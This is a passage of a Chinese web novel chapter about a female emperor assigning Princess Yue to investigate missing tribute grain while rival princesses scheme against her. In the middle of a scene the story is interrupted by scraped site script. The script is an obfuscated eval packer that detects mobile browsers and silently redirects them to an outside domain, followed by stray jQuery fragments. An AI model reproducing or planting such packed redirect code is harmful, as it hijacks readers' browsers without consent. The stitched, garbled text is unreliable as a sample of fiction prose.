“蘅芜,不必多言……殿下说了不会再来这儿,她去哪里也和我无关。”卢陵玥伤透了心,不想听和元琰有关的事情,制止了蘅芜,不让他再说下去。
蘅芜见此情景也不敢再劝,欲言又止,只得看着自家公子和越王殿下越行越远。
当初定亲时还很好的两人,现在怎么就变成这样了呢……
*
今日上朝有些不同。
朝中气氛冷凝,户部尚书刘虔出列奏报:“陛下,臣有事谨奏。本该运往楚州粮仓的漕船,其中几艘突然遭遇了暴雨,船只翻沉在河……”
“虽然当地官员已经命人竭力打捞补救,但是水流湍急,船上粮米大多都已经沉没河底,无法捞获。”
漕粮事关国本,不可谓不重要。
此奏一出,在场的所有大臣都屏住了呼吸,心知陛下定然会因此震怒。
“刘尚书,可有统校损失粮米的数目。”元灏脸色沉凝。
“这……微臣查了,到达交付粮仓的漕粮,只有往年的七成左右……”刘尚书说到这里,额头上已经挂满了细汗。
“七成?这么多的漕粮,少的这三成,难不成都到河里去了。”元灏一听便察觉其中猫腻,一双凤眸登时蕴满了怒气,冷声责问道。
刘尚书果然答不上来了,只得跪地请罪,“陛下息怒!恳请陛下再给臣一点时间,让户部调粮补救。”
“调粮有什么用?朕问的是这些少掉的漕粮去了哪里!”元灏可不会被这些臣子轻易糊弄过去,漕粮一下子少了三成之多,绝对不是单纯的翻船那么简单,定然是有人在其中弄鬼。
今朝她势必要将漕粮之事查清,将有胆子将手伸向漕粮的人通通揪出,杀鸡儆猴,否则这样的事情只会越来越多,动摇国本。
“陛下恕罪……”
户部官员们一个个战战兢兢,跪伏在地,大气不敢出一声,无人胆敢站出来回答。
“漕粮往年也有缺额,但数目不大。从未像今岁这般,不明不白地就亏空了三成,影响重大。”
元灏目光沉沉,“必须将此事尽快查清,少掉的一米一粟都得如实上报!”
提到查粮之事,知道皇帝下一步必定是要派心腹大臣前往楚州等地,清查账目。
齐王元景心底思忖片息,便主动站了出来,“儿臣愿为母皇分忧,前往楚州,查办此事。”
系统听下来很是惊奇,【宿主宿主,你先前打听漕粮之事,是不是早就料到了会有今天的局面啊?】
“那倒不是。我只是在初次上朝时听到了漕粮延误之事,之后一直没等到漕粮送到的消息。所以察觉到不对,命人打听了相关消息。”元琰答道。
“没想到过了这些天后,果真出事了。”
【齐王主动要求前去追查漕粮,一定是其中能够得到好处,宿主你不和她争一争吗?】系统又问。
“你别着急,这件差事母皇大概率是不会交给她办的。”元琰却安抚系统。
【为什么?】系统不解。
“因为元景外祖母孙大人是尚书右仆射,负责监管六部政令,和朝中官员关系复杂。这种涉及巨额钱粮的事情,以母皇的多疑性格是不会让元景有机会沾手的。”元琰说道。
系统懂了:【原来如此……】
果然,面对齐王的主动请缨,元灏并没有接受,而是将目光投向了这些时日一直在朝堂上扮演背景板的元琰。
“越王,你可愿替朕前往楚州走上一遭。”元灏有心历练元琰,开口说道。
元琰被母皇突然点到,站了出来,“儿臣不才。母皇将此重任交予儿臣,儿臣必当竭尽全力,不辜负母皇期望。”
眼看着元琰便要接下此事,齐王派大臣有人出列,“陛下,此事重大,涉及多方。越王此前于漕运之事并无了解,若让越王去查,恐怕难以完成陛下所托。”
“不如另择有能之人,查办漕粮之事。”
这话无疑是在暗暗地攻击元琰没有办理实务的经验,恐怕难以担当此等重任。
面对这一反对,元琰老神在在,没有表露出丝毫不忿。
反而是皇帝将脸沉了下来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994885|178128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“朕意已决,诸位大臣无需再议。”
“近闻楚州等处仓场粮米亏空甚多,遂命越王为钦差查勘漕运大臣,着即前往楚州稽查,另点三百精锐军士充作护卫随行。会同漕运总督、户部官员,彻底盘查历年收支,严核账目。倘有官吏贪墨,克扣漕粮,即行参奏,毋得徇隐!”
被皇帝点到的官员尽数叩拜,“臣等领旨。”
“儿臣多谢母皇隆恩!”元琰得了钦差查勘漕运大臣这个头衔,当即跪谢圣恩。
而一旁没能争取到这一差事的元景,心情则是全然相反。
“恭喜二皇妹了。”
当着母皇和一众大臣的面,她不好失态,勉强冲元琰一笑。
回到齐王府后,元景这才将心中的不满倾吐而出。
“本王自请督查,母皇却选了元琰。母皇此举,莫不是有意栽培于她。”
“更何况下面交来的分润,本王也有收受,若是元琰当真查出点什么,母皇那里怕是要治罪于本王了……”
“殿下何需担心,越王帐下尽是些粗人,不晓漕运粮储之事,大抵难以完成陛下委任之事,更不可能查出殿下在其中经手之事。”
“若是越王这次将漕粮之事办砸,陛下从此之后想必再不敢将大事交给越王……这对殿下来说应当是好事一桩才对。”幕僚分析道。
闻言,三皇女元骁也在旁插话道。
“大皇姐,要我说你就是太过仁善了。”
“元琰得了差事不假,那我们只要想办法着人盯着她,让她办不成事便是。倘若元琰此行顺利,便是费力给她制造一些困难也未尝不可。”元骁心中已有了打算。
凭什么她因为元琰受罚不得朝参,失去了议政的机会。而元琰在当众抢亲之后,不仅丝毫没有受罚,反而得到了母皇重用,拿到查粮这个大差事。
元骁从小到大,因着母皇对皇贵卿和元琰的宠爱,心中其实对元琰一直怀有男疾男户之意。
这段时间辍朝参在府,她非但没有反思自己,反而愈加痛恨元琰,觉得母皇偏心过甚。